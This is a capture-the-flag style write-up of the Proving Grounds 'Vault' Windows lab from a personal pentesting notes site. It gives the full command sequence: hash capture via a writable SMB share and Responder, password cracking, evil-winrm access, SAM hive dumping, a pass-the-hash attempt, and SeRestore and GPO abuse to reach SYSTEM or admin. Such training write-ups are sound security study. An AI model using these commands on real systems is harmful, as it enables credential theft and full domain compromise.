Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Enumeration & Reconnaissance
  • Service Analysis
  • Gaining Initial Access
  • Privilege Escalation
  • Lessons Learned
  1. Write Ups
  2. Proving Grounds Boxes
  3. Windows
  4. Active Directory

Vault

PreviousAccessNextCertificates

Last updated 2 months ago

Source: Proving Grounds OS: Windows Community Rating: Hard

Enumeration & Reconnaissance

  • Started with autorecon as usual and, again, many open ports, but this time there were no HTTP ports, a surprise. We had to find a different initial foothold than the regulars.

Service Analysis

  • I began by checking SMB. While enum4linux-ng showed nothing, smbclient exposed a non-default share named DocumentsShare. Although it was empty, we had write access.

smbclient -N -L \192.168.194.172
smbclient \192.168.194.172\DocumentsShare

Gaining Initial Access

  • Having write access to the share meant we could create a shared link and use Responder to capture the authenticated access attempt when someone clicks the item.

  • I used the tool Hashgrab, which automatically creates the necessary files. I then moved them to the share that we have write access over, started Responder, and waited for the hashes:

python3 hashgrab.py 192.168.45.201 hashgraber #Create the files then move them to the SMB share.
sudo responder -I tun0 -wv #Start responder
  • After that, I got the hash. I then tried hashcat, but it was too slow, so I switched to John the Ripper:

sudo hashcat hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
john --wordlist=/usr/share/wordlists/rockyou.txt hash
  • This revealed the password: anirudh:SecureHM

  • Now that I had the credentials, I attempted to use them. RDP was open, but testing it didn’t work, and I personally prefer a terminal (I feel like a proper hacker). So I used evil-winrm to get a shell:

#Trying RDP
xfreerdp3 /cert:ignore /dynamic-resolution +clipboard /u:'anirudh' /p:'SecureHM' /v:192.168.194.172
rdesktop -u 'anirudh' -p 'SecureHM' -g 85% -D 192.168.194.172

evil-winrm -i 192.168.194.172 -u anirudh -p "SecureHM" #Evil-winrm

Privilege Escalation

  • Once inside, I checked privileges and discovered a couple of interesting ones: SeBackupPrivilege & SeRestorePrivilegeBoth could be used to escalate privileges.

  • I started with SeBackupPrivilege. With it, we can dump the SAM and SYSTEM hives and extract hashes from them. I ran:

reg save hklm\sam C:\Users\anirudh\Desktop\sam.hive
reg save hklm\system C:\Users\anirudh\Desktop\system.hive
  • Then I moved them to Linux and I executed:

impacket-secretsdump -sam sam.hive -system system.hive LOCAL
  • I tried to perform Pass-the-Hash (PtH) and log in as Administrator, but that failed. For example:

impacket-wmiexec -hashes :608339ddc8f434ac21945e026887dc36 Administrator@192.168.194.172
  • PtH has a few prerequisites, it requires an SMB connection through the firewall (commonly port 445) and that the Windows File and Printer Sharing feature is enabled. It also requires the admin share (ADMIN$) to be available, so maybe one of these weren’t fulfilled.

  • I moved on to the next privilege. SeRestorePrivilege. I used an executable from my toolkit called SeRestoreAbuse.exe. I created a shell, uploaded it to the target, and then executed:

.\SeRestoreAbuse.exe "cmd /c C:\Users\anirudh\Documents\shell.exe"
  • This granted me a shell as SYSTEM.

  • I like to review writeups when I finish (or when I get stuck and need hints). I discovered another option for privilege escalation using BloodHound. I first collected data from the Windows host using:

powershell -ep bypass
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\anirudh\Desktop\ -OutputPrefix "vaultoffsec"
  • I then downloaded the data to my Kali machine and started BloodHound. With it, I discovered that our current user had GenericWrite over the GPO named "Default Domain Policy".

  • Even though BloodHound automatically checked for privileges, I could have done it manually with:

Get-GPO -Name "Default Domain Policy"
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
  • I then used an executable called SharpGPOAbuse.exe to add our user to the administrators group:

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force
  • After running that, I ended the session and started a new one and that was it, I got admin.

Lessons Learned

  • Write access to non-default SMB shares can be exploited to capture hashes via tools like Hashgrab and Responder.

  • In AD environments, lateral movement often requires combining multiple techniques, using evil-winrm to gain a shell, then kerberoasting or privilege escalation through SeBackup/SeRestore.

  • PtH depends on specific network and service configurations; if those aren’t met, alternative escalation paths must be explored.

  • When one escalation method fails (like SeBackup with PtH), having another option such as SeRestoreAbuse can be the key to getting SYSTEM.

  • Using BloodHound can help identify misconfigurations in GPO permissions that allow local admin access.

✍️
🗃️
🪟
SMB Enumeration
Checking Writing to SMB Share
Grabbing the Hashes
Credentials Cracked
Trying RDP
Privileges
Extracting the Hives
Getting the Hashes
PtH Failing
PtH Failing with Impacket-wmiexec
Sharphound Data Gathering
BloodHound
Manual Enumeration
SharpGpoAbuse
Back as Admin